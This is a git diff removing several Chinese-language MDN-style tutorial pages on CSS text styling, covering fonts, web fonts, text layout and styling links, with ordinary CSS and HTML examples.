注意:如果对于要让它正常工作您有任何问题,可以自由地将您的版本与我们完成的文件进行比较——见 web-font-finished.html 和 web-font-finished.css (运行完成的示例)。

+
+ +

使用在线字体服务

+ +

在线字体服务通常会为你存储和服务字体,这样你就不用担心写@font-face代码了,通常只需要在你的网站上插入一两行代码就可以让一切都运行。例子包括Typekit 和Cloud.typography。大多数这些服务都是基于订阅的,除了Google Fonts,这是一个有用的免费服务,特别是对于快速的测试工作和编写演示。

+ +

大多数这些服务都很容易使用,所以我们不会详细地介绍它们。让我们快速浏览一下Google Fonts,这样你就能明白它的意思了。再次的,使用web-font-start.htmlweb-font-start.css a的副本作为你的开始。

+ +
    +
  1. 前往 Google Fonts.
  2. +
  3. 使用左边的过滤器来显示你想要选择的字体类型,并选择一些你喜欢的字体。
  4. +
  5. 要选择字体种类,按下按钮旁边的 ⊕ 按钮。
  6. +
  7. 当您选择好字体种类时,按下页面底部的[Number] 种类选择。
  8. +
  9. 在生成的屏幕中,首先需要复制所显示的HTML代码行,并将其粘贴到HTML文件的头部。将其置于现有的{{htmlelement("link")}}元素之上,使得字体是导入的,然后在你的CSS中使用它。
  10. +
  11. 然后,您需要将CSS声明复制到您的CSS中,以便将自定义字体应用到您的HTML。
  12. +
+ +
+

注意:如果你需要对比我们的,你可以在 google-font.htmlgoogle-font.css找到完整版本的。(见预览版

+
+ +

关于@font-face的更多细节

+ +

让我们来探索由fontsquirrel为您生成的@font-face语法。这是其中一个块的样子:

+ +
@font-face {
+  font-family: 'ciclefina';
+  src: url('fonts/cicle_fina-webfont.eot');
+  src: url('fonts/cicle_fina-webfont.eot?#iefix') format('embedded-opentype'),
+         url('fonts/cicle_fina-webfont.woff2') format('woff2'),
+         url('fonts/cicle_fina-webfont.woff') format('woff'),
+         url('fonts/cicle_fina-webfont.ttf') format('truetype'),
+         url('fonts/cicle_fina-webfont.svg#ciclefina') format('svg');
+  font-weight: normal;
+  font-style: normal;
+}
+ +

这被称为"bulletproof @font-face syntax(刀枪不入的@font-face语法)", 这是 Paul Irish早期的一篇文章提及后@font-face开始流行起来 (Bulletproof @font-face Syntax。让我们来看看它是怎么做的:

+ + + +
+

注意:您还可以为您的web字体指定特定的{{cssxref("font-variant")}} 和 {{cssxref("font-stretch")}} )值。在较新的浏览器中,您还可以指定一个{{cssxref("unicode-range")}}值,这是一个您需要使用什么web字体的特定范围的字符——在支持浏览器中,只有指定的字符才会被下载,省去了不必要的下载。Drew McLellan写的Creating Custom Font Stacks with Unicode-Range在如何利用这个问题上提供了一些有用的建议。

+
+ +

总结

+ +

既然您已经完成了我们关于文本样式基础的文章,现在是时候用我们对模块的评估来测试您的理解了,为社区学校的主页进行排版。

+ +

{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}

diff --git "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/fundamentals/index.html" "b/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/fundamentals/index.html" deleted file mode 100644 index 45660a9532..0000000000 --- "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/fundamentals/index.html" +++ /dev/null @@ -1,727 +0,0 @@ ---- -title: 基本文本和字体样式 -slug: Learn/CSS/为文本添加样式/Fundamentals -tags: - - 初学者 - - 对齐 - - 文本 - - 样式 - - 间距 -translation_of: Learn/CSS/Styling_text/Fundamentals ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}
- -

在这篇文章中,我们将带你开始掌握 {{glossary("CSS")}} 的文字样式的旅程。这里我们将详细介绍文本/字体样式的所有基本原理,包括设置文字的粗细,字体和样式,文字的属性简写,文字的对齐,和其他效果,以及行和字母间距。

- - - - - - - - - - - - -
先决条件:基本的电脑操作,HTML 基础 (学习 Introduction to HTML),CSS 基础 (学习 Introduction to CSS).
目的:了解在网页上设计文本所需的基本属性和技术。
- -

CSS中的文字样式涉及什么?

- -

正如你已经在你使用 HTML 和 CSS 完成工作时所经历的一样,元素中的文本是布置在元素的内容框中。以内容区域的左上角作为起点 (或者是右上角,是在 RTL 语言的情况下),一直延续到行的结束部分。一旦达到行的尽头,它就会进到下一行,然后继续,再接着下一行,直到所有内容都放入了盒子中。文本内容表现地像一些内联元素,被布置到相邻的行上,除非到达了行的尽头,否则不会换行,或者你想强制地,手动地造成换行的话,你可以使用 {{htmlelement("br")}} 元素。

- -
-

注意: 如果上面的段落让你感到困惑,没关系,在继续之前,可以重新看看我们的 Box model 文件,复习框模型的理论。

-
- -

用于样式文本的 CSS 属性通常可以分为两类,我们将在本文中分别观察。

- - - -
-

注意: 请记住,包含在元素中的文本是作为一个单一的实体。你不能将文字其中一部分选中或添加样式,如果你要这么做,那么你必须要用适合的元素来包装它们,比如 ( {{htmlelement("span")}} 或者 {{htmlelement("strong")}}), 或者使用伪元素,像::first-letter (选中元素文本的第一个字母), ::first-line (选中元素文本的第一行), 或者 ::selection (当前光标双击选中的文本)

-
- -

字体

- -

我们直接来看看样式字体的属性。在这个例子中,我们会在一个相同的 HTML 示例中应用一些不同的 CSS 属性,就像这样:

- -
<h1>Tommy the cat</h1>
-
-<p>I remember as if it were a meal ago...</p>
-
-<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
- may have nestled its way into his mighty throat. Many a fat alley rat
-had met its demise while staring point blank down the cavernous barrel of
- this awesome prowling machine. Truly a wonder of nature this urban
-predator — Tommy the cat had many a story to tell. But it was a rare
-occasion such as this that he did.</p>
- -

你可以在这找到完成版本 finished example on Github (也可以看源码 the source code.)

- -

颜色

- -

{{cssxref("color")}} 属性设置选中元素的前景内容的颜色 (通常指文本,不过也包含一些其他东西,或者是使用 {{cssxref("text-decoration")}} 属性放置在文本下方或上方的线 (underline overline)。

- -

color 也可以接受任何合法的 CSS 颜色单位, 比如:

- -
p {
-  color: red;
-}
- -

这将导致段落变为红色,而不是标准的浏览器默认的黑色,如下所示:

- - - -

{{ EmbedLiveSample('颜色', '100%', 220) }}

- -

字体种类

- -

要在你的文本上设置一个不同的字体,你可以使用 {{cssxref("font-family")}}  属性,这个允许你为浏览器指定一个字体 (或者一个字体的列表),然后浏览器可以将这种字体应用到选中的元素上。浏览器只会把在当前机器上可用的字体应用到当前正在访问的网站上;如果字体不可用,那么就会用浏览器默认的字体代替 {{anch("Default fonts", "default font")}}. 下面是一个简单的例子:

- -
p {
-  font-family: arial;
-}
- -

这段语句使所有在页面上的段落都采用 arial 字体,这个字体可在任何电脑上找到。

- -

网页安全字体

- -

说到字体可用性,只有某几个字体通常可以应用到所有系统,因此可以毫无顾忌地使用。这些都是所谓的 网页安全字体

- -

大多数时候,作为网页开发者,我们希望对用于显示我们的文本内容的字体有更具体的控制。问题在于,需要一个方法来知道当前正在浏览我们的网站网页的电脑,它有哪些可用字体。我们并不是总能在每种情况下都知道这一点,但是网络安全字体在几乎所有最常用的操作系统(Windows,Mac,最常见的Linux发行版,Android和iOS版本)中都可用。

- -

实际的Web安全字体列表将随着操作系统的发展而改变,但是可以认为下面的字体是网页安全的,至少对于现在来说 (它们中的许多都非常流行,这要感谢微软在90年代末和21世纪初期的倡议Core fonts for the Web ):

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
字体名称泛型注意
Arialsans-serif通常认为最佳做法还是添加 Helvetica 作为 Arial 的首选替代品,尽管它们的字体面几乎相同,但 Helvetica 被认为具有更好的形状,即使Arial更广泛地可用。
Courier Newmonospace某些操作系统有一个 Courier New 字体的替代(可能较旧的)版本叫Courier。使用Courier New作为Courier的首选替代方案,被认为是最佳做法。
Georgiaserif
Times New Romanserif某些操作系统有一个 Times New Roman 字体的替代(可能较旧的)版本叫 Times。使用Times作为Times New Roman的首选替代方案,被认为是最佳做法。
Trebuchet MSsans-serif您应该小心使用这种字体——它在移动操作系统上并不广泛。
Verdanasans-serif
- -
-

注意: 在各种资源中,cssfontstack.com 网站维护了一个可用在 Windows 和 Mac 操作系统上使用的网页安全字体的列表,这可以帮助决策网站的安全性。

-
- -
-

注意: 有一个可以下载来自一个网页的自定义字体的方法,允许你通过任何你想要的方法来定制你使用的字体:网页字体。这个有一点复杂,我们将在这个模块中的另一篇文章中讨论这一点。

-
- -

默认字体

- -

CSS 定义了 5 个常用的字体名称:  serifsans-serif, monospace, cursive,和 fantasy. 这些都是非常通用的,当使用这些通用名称时,使用的字体完全取决于每个浏览器,而且它们所运行的每个操作系统也会有所不同。这是一种糟糕的情况,浏览器会尽力提供一个看上去合适的字体。 serif, sans-serif 和 monospace 是比较好预测的,默认的情况应该比较合理,另一方面,cursive 和 fantasy 是不太好预测的,我们建议使用它们的时候应该稍微注意一些,多多测试。

- -

五个名称定义如下:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
名称定义示例
serif有衬线的字体 (衬线一词是指字体笔画尾端的小装饰,存在于某些印刷体字体中)My big red elephant
sans-serif没有衬线的字体。My big red elephant
monospace每个字符具有相同宽度的字体,通常用于代码列表。My big red elephant
cursive用于模拟笔迹的字体,具有流动的连接笔画。My big red elephant
fantasy用来装饰的字体My big red elephant
- -

字体栈

- -

由于你无法保证你想在你的网页上使用的字体的可用性 (甚至一个网络字体可能由于某些原因而出错), 你可以提供一个字体栈 (font stack),这样的话,浏览器就有多种字体可以选择了。只需包含一个font-family属性,其值由几个用逗号分离的字体名称组成。比如

- -
p {
-  font-family: "Trebuchet MS", Verdana, sans-serif;
-}
- -

在这种情况下,浏览器从列表的第一个开始,然后查看在当前机器中,这个字体是否可用。如果可用,就把这个字体应用到选中的元素中。如果不可用,它就移到列表中的下一个字体,然后再检查。

- -

在字体栈的最后提供一个合适的通用的字体名称是个不错的办法,这样的话,即使列出的字体都无法使用,浏览器至少可以提供一个还算合适的选择。为了强调这一点,如果没有其他选项可用,那么段落将被赋予浏览器的默认衬线字体 - 通常是Time New Roman - 这对于 sans-serif 字体是不利的!

- -
-

注意: 有一些字体名称不止一个单词,比如Trebuchet MS ,那么就需要用引号包裹。

-
- -

一个使用 font-family 的例子

- -

让我们把它添加到之前的例子上,给段落一个 sans-serif 的字体。

- -
p {
-  color: red;
-  font-family: Helvetica, Arial, sans-serif;
-}
- -

这给我们以下结果:

- - - -

{{ EmbedLiveSample('一个使用_font-family_的例子', '100%', 220) }}

- -

字体大小

- -

在我们之前的模块中的CSS values and units 文章,我们回顾了length and size units. 字体大小 (通过 {{cssxref("font-size")}} 属性设置) 可以取大多数这些单位的值 (以及其他,比如百分比 percentages),然而你在调整字体大小时,最常用的单位是:

- - - -

元素的 font-size 属性是从该元素的父元素继承的。所以这一切都是从整个文档的根元素——{{htmlelement("html")}}开始,浏览器的 font-size 标准设置的值为 16px。在根元素中的任何段落 (或者那些浏览器没有设置默认大小的元素),会有一个最终的大小值:16px。其他元素也许有默认的大小,比如 {{htmlelement("h1")}} 元素有一个 2em 的默认值,所以它的最终大小值为 32px。当你开始更改嵌套元素的字体大小时,事情会变得棘手。比如,如果你有一个 {{htmlelement("article")}} 元素在你的页面上,然后设置它的 font-size 为 1.5em (通过计算,可以得到大小为 24px),然后想让 <article> 元素中的段落获得一个计算值为 20px 的大小,那么你应该使用多少 em。

- -
<!-- document base font-size is 16px -->
-<article> <!-- If my font-size is 1.5em -->
-  <p>My paragraph</p> <!-- How do I compute to 20px font-size? -->
-</article>
- -

你需要将 em 的值设置为 20/24, 或者 0.83333333em. 这个计算可能比较复杂,所以当你设置的时候,你需要仔细一些。如果可以使用 rem 的话,那实现起来就变得简单不少,避免在可能的情况下设置容器元素的字体大小。

- -

一个简单的 size 示例

- -

当调整你的文本大小时,将文档(document)的基础  font-size 设置为10px往往是个不错的主意,这样之后的计算会变得简单,所需要的 (r)em 值就是想得到的像素的值除以 10,而不是 16。做完这个之后,你可以简单地调整在你的 HTML 中你想调整的不同类型文本的字体大小。在样式表的指定区域列出所有font-size的规则集是一个好主意,这样它们就可以很容易被找到。

- -

我们的新结果是这样的:

- - - -
html {
-  font-size: 10px;
-}
-
-h1 {
-  font-size: 2.6rem;
-}
-
-p {
-  font-size: 1.4rem;
-  color: red;
-  font-family: Helvetica, Arial, sans-serif;
-}
- -

{{ EmbedLiveSample('字体大小', '100%', 220) }}

- -

字体样式,字体粗细,文本转换和文本装饰

- -

CSS 提供了 4 种常用的属性来改变文本的样子:

- - - -

我们来看一下这几个属性添加到我们的例子中:

- -

我们的新结果是这样的:

- - - -
html {
-  font-size: 10px;
-}
-
-h1 {
-  font-size: 2.6rem;
-  text-transform: capitalize;
-}
-
-h1 + p {
-  font-weight: bold;
-}
-
-p {
-  font-size: 1.4rem;
-  color: red;
-  font-family: Helvetica, Arial, sans-serif;
-}
- -

{{ EmbedLiveSample('字体样式,字体粗细,文本转换和文本装饰', '100%', 220) }}

- -

文字阴影

- -

你可以为你的文本应用阴影,使用 {{cssxref("text-shadow")}} 属性。这最多需要 4 个值,如下例所示:

- -
text-shadow: 4px 4px 5px red;
- -

4 个属性如下:

- -
    -
  1. 阴影与原始文本的水平偏移,可以使用大多数的 CSS 单位 length and size units, 但是 px 是比较合适的。这个值必须指定。
  2. -
  3. 阴影与原始文本的垂直偏移;效果基本上就像水平偏移,除了它向上/向下移动阴影,而不是左/右。这个值必须指定。
  4. -
  5. 模糊半径 - 更高的值意味着阴影分散得更广泛。如果不包含此值,则默认为0,这意味着没有模糊。可以使用大多数的 CSS 单位 length and size units.
  6. -
  7. 阴影的基础颜色,可以使用大多数的 CSS 颜色单位 CSS color unit. 如果没有指定,默认为 black.
  8. -
- -
-

注意: 正偏移值可以向右移动阴影,但也可以使用负偏移值来左右移动阴影,例如 -1px -1px.

-
- -

多种阴影

- -

您可以通过包含以逗号分隔的多个阴影值,将多个阴影应用于同一文本,例如:

- -
text-shadow: -1px -1px 1px #aaa,
-             0px 4px 1px rgba(0,0,0,0.5),
-             4px 4px 5px rgba(0,0,0,0.7),
-             0px 0px 7px rgba(0,0,0,0.4);
- -

如果我们把这个样式应用到我们 "Tommy the cat" 示例中的 {{htmlelement("h1")}} 元素,就像这样:

- - - -

{{ EmbedLiveSample('多种阴影', '100%', 220) }}

- -
-

注意: 你可以看到更多有趣的关于 text-shadow 使用的示例在 Moonlighting with CSS text-shadow.

-
- -

文本布局

- -

有了基本的字体属性,我们来看看我们可以用来影响文本布局的属性。

- -

文本对齐

- -

 {{cssxref("text-align")}} 属性用来控制文本如何和它所在的内容盒子对齐。可用值如下,并且在与常规文字处理器应用程序中的工作方式几乎相同:

- - - -

如果我们应用 text-align: center; 到我们例子中的 {{htmlelement("h1")}} 元素中,结果如下:

- - - -

{{ EmbedLiveSample('文本对齐', '100%', 220) }}

- -

行高

- -

 {{cssxref("line-height")}} 属性设置文本每行之间的高,可以接受大多数单位 length and size units,不过也可以设置一个无单位的值,作为乘数,通常这种是比较好的做法。无单位的值乘以 {{cssxref("font-size")}} 来获得 line-height。当行与行之间拉开空间,正文文本通常看起来更好更容易阅读。推荐的行高大约是 1.5–2 (双倍间距。) 所以要把我们的文本行高设置为字体高度的1.5倍,你可以使用这个:

- -
line-height: 1.5;
- -

把这个样式应用到我们示例中的 {{htmlelement("p")}} 元素,结果如下:

- - - -

{{ EmbedLiveSample('行高', '100%', 250) }}

- -

字母和单词间距

- -

{{cssxref("letter-spacing")}} 和 {{cssxref("word-spacing")}} 属性允许你设置你的文本中的字母与字母之间的间距、或是单词与单词之间的间距。你不会经常使用它们,但是可能可以通过它们,来获得一个特定的外观,或者让较为密集的文字更加可读。它们可以接受大多数单位 length and size units.

- -

所以作为例子,如果我们把这个样式应用到我们的示例中的 {{htmlelement("p")}} 段落的第一行:

- -
p::first-line {
-  letter-spacing: 2px;
-  word-spacing: 4px;
-}
- -

我们会得到下面的结果:

- - - -

{{ EmbedLiveSample('字母和字间距', '100%', 250) }}

- -

其他一些值得看一下的属性

- -

以上属性让你了解如何开始在网页上设置文本, 但是你可以使用更多的属性。我们只是想介绍最重要的。一旦你习惯使用上面的内容,你还应该探索以下几点:

- -

Font 样式:

- - - -

文本布局样式:

- - - -

Font 简写

- -

许多字体的属性也可以通过 {{cssxref("font")}} 的简写方式来设置 . 这些是按照以下顺序来写的:  {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, and {{cssxref("font-family")}}.

- -

如果你想要使用 font 的简写形式,在所有这些属性中,只有 font-size 和 font-family 是一定要指定的。

- -

{{cssxref("font-size")}} 和 {{cssxref("line-height")}} 属性之间必须放一个正斜杠。

- -

一个完整的例子如下所示:

- -
font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;
- -

动手练习: 使用样式文本

- -

在这个动手练习中,我们没有任何具体的练习来做:我们只是希望你和一些字体/文本布局属性相处地愉快,看看你可以制作什么!你可以使用离线HTML / CSS文件进行此操作,也可以将代码输入到下面的实时可编辑示例中。

- -

如果你犯了错误,你可以使用 Reset 按钮来复原。

- - - -

{{ EmbedLiveSample('Playable_code', 700, 800) }}

- -

小结

- -

我们希望你在本篇文章中享受与文本在一起的时光!下篇文章会介绍所有你需要知道的关于 HTML 列表的样式。

- -

{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}

diff --git "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/index.html" "b/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/index.html" deleted file mode 100644 index ec4822b9ad..0000000000 --- "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/index.html" +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: 为文本添加样式(样式化文本) -slug: Learn/CSS/为文本添加样式 -tags: - - CSS - - 代码脚步 - - 列表lists - - 初学者 - - 字体Fonts - - 字母letter - - 文字font - - 文本Text - - 模块化Module - - 网络字体 web fonts - - 行line - - 链接Links - - 阴影shadow -translation_of: Learn/CSS/Styling_text ---- -
{{LearnSidebar}}
- -

掌握了 CSS 语言的基础之后,对于您来说,下一个需要关心的 CSS 主题就是为文本添加样式——一个您将会最经常使用 CSS 做的事情。在这里,我们专注于为文本样式的基础,包括设置字体、粗细、斜体、行还有字符间距、阴影以及文本的其他特征。我们将会通过在您的网页中应用自定义字体、样式化列表以及链接来圆满地结束本模块。

- -

前提

- -

在开始这一模块之前,您应当像 HTML 介绍 模块中所探讨的,已经熟悉了基本的HTML,以及像 CSS 介绍 中所详述的,对自己的 CSS 基础感觉还满意。

- -
-

注意: 如果您所使用的是不能创建自己的文件的电脑、平板电脑或其他设备的话,您可以在一个在线编码程序 JSBin 或 Thimble 中尝试(大部分的)代码例子。

-
- -

导引

- -

这个模块包括了以下文章,这些文章将教会您所有的基本功以支持您为 HTML 文本内容添加样式。

- -
-
基本的文本以及字体样式
-
在本文章中,我们将通篇了解文本、字体样式的所有基础,包括设置字体粗细( font weight )、字体系列及样式( family and style )、字体缩写( font shorthand )、文本排列( text alignment )和其他的效果,还有行( line )以及字符间距( letter spacing )。
-
样式化列表
-
对于大部分内容来说,列表的行为表现跟其他任何文本其实差不多,但您也需要了解还有一些专门用于列表的 CSS 样式以及考虑一些最好的实践方式。本文章将阐释这一切。
-
样式化链接
-
当您为链接添加样式时,很重要的一点是要去理解怎样有效地使用伪类去修饰链接的状态,以及怎么去修饰不同的接口功能例如导航菜单和面板中所使用的链接。我们将会在这篇文章中讨论这些话题。
-
网络字体
-
在这里我们将会详细地探索网络字体——这会允许您与您的网页一同下载自定义字体,来实现更为不同的个性化字体样式。
-
- -

评估

- -

以下的评估将会评测您对以上导引所涵盖的为文本添加样式的技术的理解。

- -
-
对一个社区学校的主页进行排版
-
在这个评估中,我们通过让您为一个社区学校的主页添加文本样式来测试您对文本样式的理解程度。
-
diff --git "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/styling_links/index.html" "b/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/styling_links/index.html" deleted file mode 100644 index df2e7c6093..0000000000 --- "a/files/zh-cn/learn/css/\344\270\272\346\226\207\346\234\254\346\267\273\345\212\240\346\240\267\345\274\217/styling_links/index.html" +++ /dev/null @@ -1,431 +0,0 @@ ---- -title: 样式化链接 -slug: Learn/CSS/为文本添加样式/Styling_links -tags: - - 伪类 - - 悬浮 - - 标签 - - 聚焦 - - 菜单 - - 超链接 - - 链接 -translation_of: Learn/CSS/Styling_text/Styling_links ---- -
-

{{LearnSidebar}}

- -

{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}

-
- -

当为 links 添加样式时, 理解利用伪类有效地建立链接状态是很重要的,以及如何为链接添加样式来实现常用的功能,比如说导航栏、选项卡。我们将在本文中关注所有这些主题。

- - - - - - - - - - - - -
学习本章节的前提:基本的计算机使用能力,HTML 基础 (学习 Introduction to HTML), CSS 基础 (学习 Introduction to CSS), CSS text and font fundamentals.
目的:学习如何将样式应用到链接状态,以及如何使用链接实现常见的 UI 功能,比如导航菜单。
- -

让我们来看一些链接

- -

根据最佳实践  创建超链接 中的练习,我们看到了如何在你的 HTML 中实现链接。在本篇文章中,我们会以这个知识为基础,向你展示将样式应用到链接的最佳实践。

- -

链接状态

- -

第一件需要理解的事情是链接状态的概念,链接存在时处于不同的状态,每一个状态都可以用对应的 伪类 来应用样式:

- - - -

默认的样式

- -

下面的例子说明了一个链接的默认行为表现 (这里的 CSS 仅仅是为了放大和居中文本,使内容更加突出)

- -
<p><a href="https://mozilla.org">A link to the Mozilla homepage</a></p>
-
- -
p {
-  font-size: 2rem;
-  text-align: center;
-}
- -

{{ EmbedLiveSample('默认的样式', '100%', 120) }}

- -

当你观察默认样式的时候,你也许会注意到一些东西:

- - - -

有趣的是,这些默认的样式与20世纪90年代中期浏览器早期的风格几乎相同。这是因为用户知道以及期待链接就是这样变化的,如果链接的样式不同,就会让一些人感到奇怪。不过这不意味着你不应该为链接添加任何样式,只是你的样式不应该与用户预期的相差太大,你应该至少:

- - - -
-

注意: 你不仅仅只限于上述属性来把样式应用到你的链接上,你可以用任何你喜欢的属性,就是不要搞得太疯狂!

-
- -

将样式应用到一些链接

- -

现在我们已经详细地看了默认的状态,让我们看一下典型的链接样式的设置。

- -

开始之前,我们先写出我们的空规则集:

- -
a {
-
-}
-
-
-a:link {
-
-}
-
-a:visited {
-
-}
-
-a:focus {
-
-}
-
-a:hover {
-
-}
-
-a:active {
-
-}
- -

这几个规则的顺序是有意义的,因为链接的样式是建立在另一个样式之上的,比如,第一个规则的样式也会在后面的规则中生效,一个链接被激活 (activated) 的时候,它也是处于悬停 (hover) 状态的。如果你搞错了顺序,那么就可能不会产生正确的效果。要记住这个顺序,你可以尝试这样帮助记忆:LoVe Fears HAte.

- -

现在让我们再添加一些信息,得到正确的样式:

- -
body {
-  width: 300px;
-  margin: 0 auto;
-  font-size: 1.2rem;
-  font-family: sans-serif;
-}
-
-p {
-  line-height: 1.4;
-}
-
-a {
-  outline: none;
-  text-decoration: none;
-  padding: 2px 1px 0;
-}
-
-a:link {
-  color: #265301;
-}
-
-a:visited {
-  color: #437A16;
-}
-
-a:focus {
-  border-bottom: 1px solid;
-  background: #BAE498;
-}
-
-a:hover {
-  border-bottom: 1px solid;
-  background: #CDFEAA;
-}
-
-a:active {
-  background: #265301;
-  color: #CDFEAA;
-}
- -

这里还提供了一些示例HTML,供你应用CSS:

- -
<p>There are several browsers available, such as <a href="https://www.mozilla.org/zh-CN/firefox/">Mozilla
-Firefox</a>, <a href="https://www.google.com/chrome/index.html">Google Chrome</a>, and
-<a href="https://www.microsoft.com/zh-CN/windows/microsoft-edge">Microsoft Edge</a>.</p>
- -

把这两个放在一起,我们得到这样的结果:

- -

{{ EmbedLiveSample('将样式应用到一些链接', '100%', 150) }}

- -

那么我们在这里做了什么? 这个看起来肯定和默认的样式不同,但仍然提供了一个熟悉的体验,好让用户知道发生了什么:

- - - -

动手练习: 为你的链接添加样式

- -

在这个动手练习部分,我们希望你使用我们的空规则集,然后添加你自定义的规则,从而使链接看上去比较酷。发挥你的想象力,大胆地做吧。我们相信你可以想出一些更酷的东西,就像我们上面的例子一样。

- -

如果你犯了错误,你都可以使用 Reset 按钮来重置。 如果你遇到了困难,可以按 Show solution 按钮来显示我们上文中的例子。

- - - -

{{ EmbedLiveSample('Playable_code', 700, 800) }}

- -

在链接中包含图标

- -

常见的做法是在链接中包含图标,使链接提供更多关于链接指向的内容的信息。让我们来看一个简单的例子,例子中为一个外部链接 (链接指向的不是本站,而是外部站点)。这样的图标通常看起来像一个指向盒子的小箭头,比如, 我们会使用icons8.com上的这个优秀的范例

- -

让我们来看一些能给我们这个效果的 HTML 和 CSS。先是一些简单的等待你样式化的 HTML :

- -
<p>For more information on the weather, visit our <a href="weather.html">weather page</a>,
-look at <a href="https://en.wikipedia.org/wiki/Weather">weather on Wikipedia</a>, or check
-out <a href="http://www.extremescience.com/weather.htm">weather on Extreme Science</a>.</p>
- -

接着是 CSS:

- -
body {
-  width: 300px;
-  margin: 0 auto;
-  font-family: sans-serif;
-}
-
-p {
-  line-height: 1.4;
-}
-
-a {
-  outline: none;
-  text-decoration: none;
-  padding: 2px 1px 0;
-}
-
-a:link {
-  color: blue;
-}
-
-a:visited {
-  color: purple;
-}
-
-a:focus, a:hover {
-  border-bottom: 1px solid;
-}
-
-a:active {
-  color: red;
-}
-
-a[href*="http"] {
-  background: url('https://mdn.mozillademos.org/files/12982/external-link-52.png') no-repeat 100% 0;
-  background-size: 16px 16px;
-  padding-right: 19px;
-}
- -

{{ EmbedLiveSample('在链接中包含图标', '100%', 150) }}

- -

那么这里发生了什么? 我们将跳过大部分的 CSS,因为那些只是你之前看过的相同的信息。最后一条规则很有趣,这里,我们在外部链接上插入了一个自定义背景图片,这和上篇自定义列表项目符号文章的做法很像。这次,我们使用了 {{cssxref("background")}} 简写,而不是分别使用多个属性。我们设置了我们想要插入的图片的路径,指定了 no-repeat ,这样我们只插入了一次图片,然后指定位置为100%,使其出现在内容的右边,距离上方是0px。

- -

我们也使用 {{cssxref("background-size")}} 来指定要显示的背景图像的大小,为了满足响应式网站设计的需要,在图标更大,需要再重新调整它的大小的时候,这样做是很有帮助的。但是,这仅适用于IE 9及更高版本。所以你如果需要支持那些老的浏览器,只能调整图像的原始大小,然后插入。

- -

最后,我们在链接上设置 {{cssxref("padding-right")}} ,为背景图片留出空间,这样就不会让它和文本重叠了。

- -

最后的问题,我们是如何只选中了外部链接的?如果你正确编写你的HTML链接 ,你应该只会在外部链接上使用绝对 URL,如果链接是链接你的站点的其他部分,那么使用相对链接是更加高效的。因此“http”文本应该只出现在外部链接上,为此我们可以使用一个属性选择器——a[href*="http"] ——选中 {{htmlelement("a")}} 元素,但是这样只会选中那些拥有 {{htmlattrxref("href","a")}} 属性,且属性的值包含 "http" 的 {{htmlelement("a")}}的元素。

- -

就这样啦,尝试重新审视上面的动手练习部分,尝试这种新技术!

- -
-

注意: 不要担心,如果你目前不熟悉 backgrounds 和 responsive web design ; 这些会在其他地方解释。

-
- -

样式化链接为按钮

- -

目前在本文中探索的用法也可以用在其他方面。比如,悬停 (hover) 的状态可以为不同的元素应用样式,不只是链接,你也许会想添加悬停状态的样式到段落、列表项、或者是其他东西。

- -

此外,在某些情况下,链接通常会应用样式,使它看上去的效果和按钮差不多,一个网站导航菜单通常是标记为一个列表,列表中包含链接,这可以很容易地被设计为看起来像一组控制按钮或是选项卡,主要是用于让用户可以访问站点的其他部分,现在让我们来看一看。

- -

首先,一些 HTML:

- -
<ul>
-  <li><a href="#">Home</a></li><li><a href="#">Pizza</a></li><li><a href="#">Music</a></li><li><a href="#">Wombats</a></li><li><a href="#">Finland</a></li>
-</ul>
- -

接着,是我们的 CSS:

- -
body,html {
-  margin: 0;
-  font-family: sans-serif;
-}
-
-ul {
-  padding: 0;
-  width: 100%;
-}
-
-li {
-  display: inline;
-}
-
-a {
-  outline: none;
-  text-decoration: none;
-  display: inline-block;
-  width: 19.5%;
-  margin-right: 0.625%;
-  text-align: center;
-  line-height: 3;
-  color: black;
-}
-
-li:last-child a {
-  margin-right: 0;
-}
-
-a:link, a:visited, a:focus {
-  background: yellow;
-}
-
-a:hover {
-  background: orange;
-}
-
-a:active {
-  background: red;
-  color: white;
-}
- -

这给我们以下结果:

- -

{{ EmbedLiveSample('样式化链接为按钮', '100%', 100) }}

- -

让我们来解释一下这里发生了什么,主要是几个有趣的部分:

- - - -
-

注意: 你也许会注意到 HTML 中的列表的每项内容都在同一行上,这是因为 inline-block 元素在页面上创建的空格换行符,就像几个字之间的空格,这样的空隙也许会破坏我们的水平导航菜单布局。所以我们删除了空格。你可以在  Fighting the space between inline block elements 找到有关此问题的更多信息(和解决方案)。

-
- -

测试你的技巧!

- -

你已经到了本文结尾,并且在我们的交互学习部分已经做了一些技巧测试。但是你在继续之前记住了最重要的信息了吗?你可以在模块末尾找到一个用于验证你已掌握知识的评估——见给一个社区大学的主页排版

- -

这个评估测试了这个模块讨论到的所有知识,这样你可能在读下一篇文章之前想看一下它。

- -

小结

- -

我们希望本文为你提供有关链接的所有知识——目前!我们的样式文本模块中的最后一篇文章详细介绍了如何在你的网站上使用自定义字体,或者更熟悉网络字体。

- -

